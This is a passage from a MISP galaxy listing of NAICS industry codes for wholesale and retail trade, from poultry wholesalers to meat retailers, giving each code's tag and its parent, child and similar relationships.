- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42443" with estimative-language:likelihood-probability="likely"

42444

Poultry and Poultry Product Merchant Wholesalers

The tag is: *misp-galaxy:naics="42444"*

View relationships graph

42444 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424440" with estimative-language:likelihood-probability="likely"

424440

Poultry and Poultry Product Merchant Wholesalers

The tag is: *misp-galaxy:naics="424440"*

View relationships graph

424440 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42444" with estimative-language:likelihood-probability="likely"

42445

Confectionery Merchant Wholesalers

The tag is: *misp-galaxy:naics="42445"*

View relationships graph

42445 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424450" with estimative-language:likelihood-probability="likely"

424450

Confectionery Merchant Wholesalers

The tag is: *misp-galaxy:naics="424450"*

View relationships graph

424450 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42445" with estimative-language:likelihood-probability="likely"

42446

Fish and Seafood Merchant Wholesalers

The tag is: *misp-galaxy:naics="42446"*

View relationships graph

42446 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424460" with estimative-language:likelihood-probability="likely"

424460

Fish and Seafood Merchant Wholesalers

The tag is: *misp-galaxy:naics="424460"*

View relationships graph

424460 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42446" with estimative-language:likelihood-probability="likely"

42447

Meat and Meat Product Merchant Wholesalers

The tag is: *misp-galaxy:naics="42447"*

View relationships graph

42447 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424470" with estimative-language:likelihood-probability="likely"

424470

Meat and Meat Product Merchant Wholesalers

The tag is: *misp-galaxy:naics="424470"*

View relationships graph

424470 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42447" with estimative-language:likelihood-probability="likely"

42448

Fresh Fruit and Vegetable Merchant Wholesalers

The tag is: *misp-galaxy:naics="42448"*

View relationships graph

42448 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424480" with estimative-language:likelihood-probability="likely"

424480

Fresh Fruit and Vegetable Merchant Wholesalers

The tag is: *misp-galaxy:naics="424480"*

View relationships graph

424480 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42448" with estimative-language:likelihood-probability="likely"

42449

Other Grocery and Related Products Merchant Wholesalers

The tag is: *misp-galaxy:naics="42449"*

View relationships graph

42449 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424490" with estimative-language:likelihood-probability="likely"

424490

Other Grocery and Related Products Merchant Wholesalers

The tag is: *misp-galaxy:naics="424490"*

View relationships graph

424490 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42449" with estimative-language:likelihood-probability="likely"

4245

Farm Product Raw Material Merchant Wholesalers

The tag is: *misp-galaxy:naics="4245"*

View relationships graph

4245 has relationships with:

- child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42451" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424510" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42452" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424520" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42459" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424590" with estimative-language:likelihood-probability="likely"

42451

Grain and Field Bean Merchant Wholesalers

The tag is: *misp-galaxy:naics="42451"*

View relationships graph

42451 has relationships with:

- child-of: misp-galaxy:naics="4245" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424510" with estimative-language:likelihood-probability="likely"

424510

Grain and Field Bean Merchant Wholesalers

The tag is: *misp-galaxy:naics="424510"*

View relationships graph

424510 has relationships with:

- child-of: misp-galaxy:naics="4245" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42451" with estimative-language:likelihood-probability="likely"

42452

Livestock Merchant Wholesalers

The tag is: *misp-galaxy:naics="42452"*

View relationships graph

42452 has relationships with:

- child-of: misp-galaxy:naics="4245" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424520" with estimative-language:likelihood-probability="likely"

424520

Livestock Merchant Wholesalers

The tag is: *misp-galaxy:naics="424520"*

View relationships graph

424520 has relationships with:

- child-of: misp-galaxy:naics="4245" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42452" with estimative-language:likelihood-probability="likely"

42459

Other Farm Product Raw Material Merchant Wholesalers

The tag is: *misp-galaxy:naics="42459"*

View relationships graph

42459 has relationships with:

- child-of: misp-galaxy:naics="4245" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424590" with estimative-language:likelihood-probability="likely"

424590

Other Farm Product Raw Material Merchant Wholesalers

The tag is: *misp-galaxy:naics="424590"*

View relationships graph

424590 has relationships with:

- child-of: misp-galaxy:naics="4245" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42459" with estimative-language:likelihood-probability="likely"

4246

Chemical and Allied Products Merchant Wholesalers

The tag is: *misp-galaxy:naics="4246"*

View relationships graph

4246 has relationships with:

- child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42461" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424610" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42469" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424690" with estimative-language:likelihood-probability="likely"

42461

Plastics Materials and Basic Forms and Shapes Merchant Wholesalers

The tag is: *misp-galaxy:naics="42461"*

View relationships graph

42461 has relationships with:

- child-of: misp-galaxy:naics="4246" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424610" with estimative-language:likelihood-probability="likely"

424610

Plastics Materials and Basic Forms and Shapes Merchant Wholesalers

The tag is: *misp-galaxy:naics="424610"*

View relationships graph

424610 has relationships with:

- child-of: misp-galaxy:naics="4246" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42461" with estimative-language:likelihood-probability="likely"

42469

Other Chemical and Allied Products Merchant Wholesalers

The tag is: *misp-galaxy:naics="42469"*

View relationships graph

42469 has relationships with:

- child-of: misp-galaxy:naics="4246" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424690" with estimative-language:likelihood-probability="likely"

424690

Other Chemical and Allied Products Merchant Wholesalers

The tag is: *misp-galaxy:naics="424690"*

View relationships graph

424690 has relationships with:

- child-of: misp-galaxy:naics="4246" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42469" with estimative-language:likelihood-probability="likely"

4247

Petroleum and Petroleum Products Merchant Wholesalers

The tag is: *misp-galaxy:naics="4247"*

View relationships graph

4247 has relationships with:

- child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42471" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424710" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42472" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424720" with estimative-language:likelihood-probability="likely"

42471

Petroleum Bulk Stations and Terminals

The tag is: *misp-galaxy:naics="42471"*

View relationships graph

42471 has relationships with:

- child-of: misp-galaxy:naics="4247" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424710" with estimative-language:likelihood-probability="likely"

424710

Petroleum Bulk Stations and Terminals

The tag is: *misp-galaxy:naics="424710"*

View relationships graph

424710 has relationships with:

- child-of: misp-galaxy:naics="4247" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42471" with estimative-language:likelihood-probability="likely"

42472

Petroleum and Petroleum Products Merchant Wholesalers (except Bulk Stations and Terminals)

The tag is: *misp-galaxy:naics="42472"*

View relationships graph

42472 has relationships with:

- child-of: misp-galaxy:naics="4247" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424720" with estimative-language:likelihood-probability="likely"

424720

Petroleum and Petroleum Products Merchant Wholesalers (except Bulk Stations and Terminals)

The tag is: *misp-galaxy:naics="424720"*

View relationships graph

424720 has relationships with:

- child-of: misp-galaxy:naics="4247" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42472" with estimative-language:likelihood-probability="likely"

4248

Beer, Wine, and Distilled Alcoholic Beverage Merchant Wholesalers

The tag is: *misp-galaxy:naics="4248"*

View relationships graph

4248 has relationships with:

- child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42481" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424810" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42482" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="424820" with estimative-language:likelihood-probability="likely"

42481

Beer and Ale Merchant Wholesalers

The tag is: *misp-galaxy:naics="42481"*

View relationships graph

42481 has relationships with:

- child-of: misp-galaxy:naics="4248" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424810" with estimative-language:likelihood-probability="likely"

424810

Beer and Ale Merchant Wholesalers

The tag is: *misp-galaxy:naics="424810"*

View relationships graph

424810 has relationships with:

- child-of: misp-galaxy:naics="4248" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42481" with estimative-language:likelihood-probability="likely"

42482

Wine and Distilled Alcoholic Beverage Merchant Wholesalers

The tag is: *misp-galaxy:naics="42482"*

View relationships graph

42482 has relationships with:

- child-of: misp-galaxy:naics="4248" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424820" with estimative-language:likelihood-probability="likely"

424820

Wine and Distilled Alcoholic Beverage Merchant Wholesalers

The tag is: *misp-galaxy:naics="424820"*

View relationships graph

424820 has relationships with:

- child-of: misp-galaxy:naics="4248" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42482" with estimative-language:likelihood-probability="likely"

4249

Miscellaneous Nondurable Goods Merchant Wholesalers

The tag is: *misp-galaxy:naics="4249"*

View relationships graph

4249 has relationships with:

- child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42491" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42492" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42493" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424930" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42494" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424940" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42495" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424950" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42499" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424990" with estimative-language:likelihood-probability="likely"

42491

Farm Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="42491"*

View relationships graph

42491 has relationships with:

- child-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424910" with estimative-language:likelihood-probability="likely"

424910

Farm Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="424910"*

View relationships graph

424910 has relationships with:

- child-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42491" with estimative-language:likelihood-probability="likely"

42492

Book, Periodical, and Newspaper Merchant Wholesalers

The tag is: *misp-galaxy:naics="42492"*

View relationships graph

42492 has relationships with:

- child-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424920" with estimative-language:likelihood-probability="likely"

424920

Book, Periodical, and Newspaper Merchant Wholesalers

The tag is: *misp-galaxy:naics="424920"*

View relationships graph

424920 has relationships with:

- child-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42492" with estimative-language:likelihood-probability="likely"

42493

Flower, Nursery Stock, and Florists' Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="42493"*

View relationships graph

42493 has relationships with:

- child-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424930" with estimative-language:likelihood-probability="likely"

424930

Flower, Nursery Stock, and Florists' Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="424930"*

View relationships graph

424930 has relationships with:

- child-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42493" with estimative-language:likelihood-probability="likely"

42494

Tobacco Product and Electronic Cigarette Merchant Wholesalers

The tag is: *misp-galaxy:naics="42494"*

View relationships graph

42494 has relationships with:

- child-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424940" with estimative-language:likelihood-probability="likely"

424940

Tobacco Product and Electronic Cigarette Merchant Wholesalers

The tag is: *misp-galaxy:naics="424940"*

View relationships graph

424940 has relationships with:

- child-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42494" with estimative-language:likelihood-probability="likely"

42495

Paint, Varnish, and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="42495"*

View relationships graph

42495 has relationships with:

- child-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424950" with estimative-language:likelihood-probability="likely"

424950

Paint, Varnish, and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="424950"*

View relationships graph

424950 has relationships with:

- child-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42495" with estimative-language:likelihood-probability="likely"

42499

Other Miscellaneous Nondurable Goods Merchant Wholesalers

The tag is: *misp-galaxy:naics="42499"*

View relationships graph

42499 has relationships with:

- child-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424990" with estimative-language:likelihood-probability="likely"

424990

Other Miscellaneous Nondurable Goods Merchant Wholesalers

The tag is: *misp-galaxy:naics="424990"*

View relationships graph

424990 has relationships with:

- child-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42499" with estimative-language:likelihood-probability="likely"

425

Wholesale Trade Agents and Brokers

The tag is: *misp-galaxy:naics="425"*

View relationships graph

425 has relationships with:

- child-of: misp-galaxy:naics="42" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4251" with estimative-language:likelihood-probability="likely"

4251

Wholesale Trade Agents and Brokers

The tag is: *misp-galaxy:naics="4251"*

View relationships graph

4251 has relationships with:

- child-of: misp-galaxy:naics="425" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42512" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="425120" with estimative-language:likelihood-probability="likely"

42512

Wholesale Trade Agents and Brokers

The tag is: *misp-galaxy:naics="42512"*

View relationships graph

42512 has relationships with:

- child-of: misp-galaxy:naics="4251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="425120" with estimative-language:likelihood-probability="likely"

425120

Wholesale Trade Agents and Brokers

The tag is: *misp-galaxy:naics="425120"*

View relationships graph

425120 has relationships with:

- child-of: misp-galaxy:naics="4251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42512" with estimative-language:likelihood-probability="likely"

44-45

Retail Trade

The tag is: *misp-galaxy:naics="44-45"*

441

Motor Vehicle and Parts Dealers

The tag is: *misp-galaxy:naics="441"*

View relationships graph

441 has relationships with:

- parent-of: misp-galaxy:naics="4411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4412" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4413" with estimative-language:likelihood-probability="likely"

4411

Automobile Dealers

The tag is: *misp-galaxy:naics="4411"*

View relationships graph

4411 has relationships with:

- child-of: misp-galaxy:naics="441" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="441110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="441120" with estimative-language:likelihood-probability="likely"

44111

New Car Dealers

The tag is: *misp-galaxy:naics="44111"*

View relationships graph

44111 has relationships with:

- child-of: misp-galaxy:naics="4411" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="441110" with estimative-language:likelihood-probability="likely"

441110

New Car Dealers

The tag is: *misp-galaxy:naics="441110"*

View relationships graph

441110 has relationships with:

- child-of: misp-galaxy:naics="4411" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44111" with estimative-language:likelihood-probability="likely"

44112

Used Car Dealers

The tag is: *misp-galaxy:naics="44112"*

View relationships graph

44112 has relationships with:

- child-of: misp-galaxy:naics="4411" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="441120" with estimative-language:likelihood-probability="likely"

441120

Used Car Dealers

The tag is: *misp-galaxy:naics="441120"*

View relationships graph

441120 has relationships with:

- child-of: misp-galaxy:naics="4411" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44112" with estimative-language:likelihood-probability="likely"

4412

Other Motor Vehicle Dealers

The tag is: *misp-galaxy:naics="4412"*

View relationships graph

4412 has relationships with:

- child-of: misp-galaxy:naics="441" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="441210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44122" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="441222" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="441227" with estimative-language:likelihood-probability="likely"

44121

Recreational Vehicle Dealers

The tag is: *misp-galaxy:naics="44121"*

View relationships graph

44121 has relationships with:

- child-of: misp-galaxy:naics="4412" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="441210" with estimative-language:likelihood-probability="likely"

441210

Recreational Vehicle Dealers

The tag is: *misp-galaxy:naics="441210"*

View relationships graph

441210 has relationships with:

- child-of: misp-galaxy:naics="4412" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44121" with estimative-language:likelihood-probability="likely"

44122

Motorcycle, Boat, and Other Motor Vehicle Dealers

The tag is: *misp-galaxy:naics="44122"*

View relationships graph

44122 has relationships with:

- child-of: misp-galaxy:naics="4412" with estimative-language:likelihood-probability="likely"

441222

Boat Dealers

The tag is: *misp-galaxy:naics="441222"*

View relationships graph

441222 has relationships with:

- child-of: misp-galaxy:naics="4412" with estimative-language:likelihood-probability="likely"

441227

Motorcycle, ATV, and All Other Motor Vehicle Dealers

The tag is: *misp-galaxy:naics="441227"*

View relationships graph

441227 has relationships with:

- child-of: misp-galaxy:naics="4412" with estimative-language:likelihood-probability="likely"

4413

Automotive Parts, Accessories, and Tire Retailers

The tag is: *misp-galaxy:naics="4413"*

View relationships graph

4413 has relationships with:

- child-of: misp-galaxy:naics="441" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44133" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="441330" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44134" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="441340" with estimative-language:likelihood-probability="likely"

44133

Automotive Parts and Accessories Retailers

The tag is: *misp-galaxy:naics="44133"*

View relationships graph

44133 has relationships with:

- child-of: misp-galaxy:naics="4413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="441330" with estimative-language:likelihood-probability="likely"

441330

Automotive Parts and Accessories Retailers

The tag is: *misp-galaxy:naics="441330"*

View relationships graph

441330 has relationships with:

- child-of: misp-galaxy:naics="4413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44133" with estimative-language:likelihood-probability="likely"

44134

Tire Dealers

The tag is: *misp-galaxy:naics="44134"*

View relationships graph

44134 has relationships with:

- child-of: misp-galaxy:naics="4413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="441340" with estimative-language:likelihood-probability="likely"

441340

Tire Dealers

The tag is: *misp-galaxy:naics="441340"*

View relationships graph

441340 has relationships with:

- child-of: misp-galaxy:naics="4413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44134" with estimative-language:likelihood-probability="likely"

444

Building Material and Garden Equipment and Supplies Dealers

The tag is: *misp-galaxy:naics="444"*

View relationships graph

444 has relationships with:

- parent-of: misp-galaxy:naics="4441" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4442" with estimative-language:likelihood-probability="likely"

4441

Building Material and Supplies Dealers

The tag is: *misp-galaxy:naics="4441"*

View relationships graph

4441 has relationships with:

- child-of: misp-galaxy:naics="444" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="444110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44412" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="444120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44414" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="444140" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44418" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="444180" with estimative-language:likelihood-probability="likely"

44411

Home Centers

The tag is: *misp-galaxy:naics="44411"*

View relationships graph

44411 has relationships with:

- child-of: misp-galaxy:naics="4441" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="444110" with estimative-language:likelihood-probability="likely"

444110

Home Centers

The tag is: *misp-galaxy:naics="444110"*

View relationships graph

444110 has relationships with:

- child-of: misp-galaxy:naics="4441" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44411" with estimative-language:likelihood-probability="likely"

44412

Paint and Wallpaper Retailers

The tag is: *misp-galaxy:naics="44412"*

View relationships graph

44412 has relationships with:

- child-of: misp-galaxy:naics="4441" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="444120" with estimative-language:likelihood-probability="likely"

444120

Paint and Wallpaper Retailers

The tag is: *misp-galaxy:naics="444120"*

View relationships graph

444120 has relationships with:

- child-of: misp-galaxy:naics="4441" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44412" with estimative-language:likelihood-probability="likely"

44414

Hardware Retailers

The tag is: *misp-galaxy:naics="44414"*

View relationships graph

44414 has relationships with:

- child-of: misp-galaxy:naics="4441" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="444140" with estimative-language:likelihood-probability="likely"

444140

Hardware Retailers

The tag is: *misp-galaxy:naics="444140"*

View relationships graph

444140 has relationships with:

- child-of: misp-galaxy:naics="4441" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44414" with estimative-language:likelihood-probability="likely"

44418

Other Building Material Dealers

The tag is: *misp-galaxy:naics="44418"*

View relationships graph

44418 has relationships with:

- child-of: misp-galaxy:naics="4441" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="444180" with estimative-language:likelihood-probability="likely"

444180

Other Building Material Dealers

The tag is: *misp-galaxy:naics="444180"*

View relationships graph

444180 has relationships with:

- child-of: misp-galaxy:naics="4441" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44418" with estimative-language:likelihood-probability="likely"

4442

Lawn and Garden Equipment and Supplies Retailers

The tag is: *misp-galaxy:naics="4442"*

View relationships graph

4442 has relationships with:

- child-of: misp-galaxy:naics="444" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44423" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="444230" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44424" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="444240" with estimative-language:likelihood-probability="likely"

44423

Outdoor Power Equipment Retailers

The tag is: *misp-galaxy:naics="44423"*

View relationships graph

44423 has relationships with:

- child-of: misp-galaxy:naics="4442" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="444230" with estimative-language:likelihood-probability="likely"

444230

Outdoor Power Equipment Retailers

The tag is: *misp-galaxy:naics="444230"*

View relationships graph

444230 has relationships with:

- child-of: misp-galaxy:naics="4442" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44423" with estimative-language:likelihood-probability="likely"

44424

Nursery, Garden Center, and Farm Supply Retailers

The tag is: *misp-galaxy:naics="44424"*

View relationships graph

44424 has relationships with:

- child-of: misp-galaxy:naics="4442" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="444240" with estimative-language:likelihood-probability="likely"

444240

Nursery, Garden Center, and Farm Supply Retailers

The tag is: *misp-galaxy:naics="444240"*

View relationships graph

444240 has relationships with:

- child-of: misp-galaxy:naics="4442" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44424" with estimative-language:likelihood-probability="likely"

445

Food and Beverage Retailers

The tag is: *misp-galaxy:naics="445"*

View relationships graph

445 has relationships with:

- parent-of: misp-galaxy:naics="4451" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4452" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4453" with estimative-language:likelihood-probability="likely"

4451

Grocery and Convenience Retailers

The tag is: *misp-galaxy:naics="4451"*

View relationships graph

4451 has relationships with:

- child-of: misp-galaxy:naics="445" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="445110" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="44513" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="445131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="445132" with estimative-language:likelihood-probability="likely"

44511

Supermarkets and Other Grocery Retailers (except Convenience Retailers)

The tag is: *misp-galaxy:naics="44511"*

View relationships graph

44511 has relationships with:

- child-of: misp-galaxy:naics="4451" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="445110" with estimative-language:likelihood-probability="likely"

445110

Supermarkets and Other Grocery Retailers (except Convenience Retailers)

The tag is: *misp-galaxy:naics="445110"*

View relationships graph

445110 has relationships with:

- child-of: misp-galaxy:naics="4451" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44511" with estimative-language:likelihood-probability="likely"

44513

Convenience Retailers and Vending Machine Operators

The tag is: *misp-galaxy:naics="44513"*

View relationships graph

44513 has relationships with:

- child-of: misp-galaxy:naics="4451" with estimative-language:likelihood-probability="likely"

445131

Convenience Retailers

The tag is: *misp-galaxy:naics="445131"*

View relationships graph

445131 has relationships with:

- child-of: misp-galaxy:naics="4451" with estimative-language:likelihood-probability="likely"

445132

Vending Machine Operators

The tag is: *misp-galaxy:naics="445132"*

View relationships graph

445132 has relationships with:

- child-of: misp-galaxy:naics="4451" with estimative-language:likelihood-probability="likely"

4452

Specialty Food Retailers

The tag is: *misp-galaxy:naics="4452"*

View relationships graph

4452 has relationships with:

- child-of: misp-galaxy:naics="445" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44523" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="445230" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44524" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="445240" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44525" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="445250" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44529" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="445291" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="445292" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="445298" with estimative-language:likelihood-probability="likely"

44523

Fruit and Vegetable Retailers

The tag is: *misp-galaxy:naics="44523"*

View relationships graph

44523 has relationships with:

- child-of: misp-galaxy:naics="4452" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="445230" with estimative-language:likelihood-probability="likely"

445230

Fruit and Vegetable Retailers

The tag is: *misp-galaxy:naics="445230"*

View relationships graph

445230 has relationships with:

- child-of: misp-galaxy:naics="4452" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44523" with estimative-language:likelihood-probability="likely"

44524

Meat Retailers

The tag is: *misp-galaxy:naics="44524"*

